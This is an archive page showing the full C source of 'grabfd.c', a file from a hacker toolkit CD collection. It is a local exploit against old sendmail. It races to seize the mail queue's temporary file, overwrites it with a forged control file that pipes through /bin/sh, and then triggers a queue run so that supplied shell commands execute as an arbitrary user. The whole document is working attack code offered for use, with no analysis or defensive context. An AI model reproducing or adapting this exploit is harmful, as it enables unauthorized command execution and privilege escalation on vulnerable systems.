home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / grabfd.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  99 lines

  1. /*
  2.  * grabfd.c
  3.  * usage: grabfd username command-file
  4.  *
  5.  *    username: user to execute 'command-file' as.
  6.  *    command-file: file containing 10 lines of shell commands to execute.
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <unistd.h>
  11. #include <sys/fcntl.h>
  12. #include <sys/param.h>
  13.  
  14. #ifndef SENDMAIL
  15. #define SENDMAIL "/usr/lib/sendmail"
  16. #endif
  17.  
  18. #ifndef SPOOL_DIR
  19. #define SPOOL_DIR "/usr/spool/mqueue"
  20. #endif
  21.  
  22. char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
  23.  
  24. main(argc,argv)
  25. int argc;
  26. char **argv;
  27. {
  28.     int pid, fd;
  29.     char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
  30.  
  31.     if (argc != 3) {
  32.         (void)fprintf(stderr, "%s: user file\n",
  33.             argv[0]);
  34.         exit(1);
  35.     }
  36.  
  37.         if (getpwnam(argv[1]) == NULL)
  38.                 (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n", 
  39.             argv[0],
  40.             argv[1]);
  41.  
  42.     if (access(argv[2], F_OK) == -1) {
  43.         (void)fprintf(stderr, "%s: %s does not exist.\n",
  44.                argv[0],
  45.                argv[2]);
  46.         exit(1);
  47.     }
  48.  
  49.     if (access(SPOOL_DIR, X_OK) == -1) {
  50.         (void)fprintf(stderr, "%s: cannot access %s.\n",
  51.             argv[0],
  52.             SPOOL_DIR);
  53.         exit(1);
  54.     }
  55.  
  56.     if (pid=fork()) {
  57.  
  58.         if (pid == -1) {
  59.             (void)perror("fork");
  60.             exit(1);
  61.         }
  62.  
  63.         (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
  64.         (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
  65.  
  66.         for (;;)
  67.             if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
  68.                 (void)printf("%s: grabbed queue fd.\n",
  69.                          argv[0]);
  70.                 (void)wait();
  71.                 (void)ftruncate(fd, 0);
  72.                 (void)write(fd, sysbuf, strlen(sysbuf));
  73.                 (void)close(fd);
  74.                 if(execl(SENDMAIL, 
  75.                       "sendmail", "-q", (char *)0) == -1) {
  76.                     (void)perror("execl");
  77.                     exit(1);
  78.                     };
  79.             }
  80.     } else {
  81.         (void)close(0);
  82.         if (open("/etc/motd", O_RDONLY, 0) == -1) {
  83.             (void)perror("open");
  84.             exit(1);
  85.         };
  86.  
  87.         if (execl(SENDMAIL, 
  88.               "sendmail", 
  89. #ifdef sun
  90.               "-os",
  91. #endif
  92.               "-odq", getlogin(), (char *)0) == -1) {
  93.             (void)perror("execl");
  94.             exit(1);
  95.         };
  96.     }
  97.     exit(1);
  98. }
  99.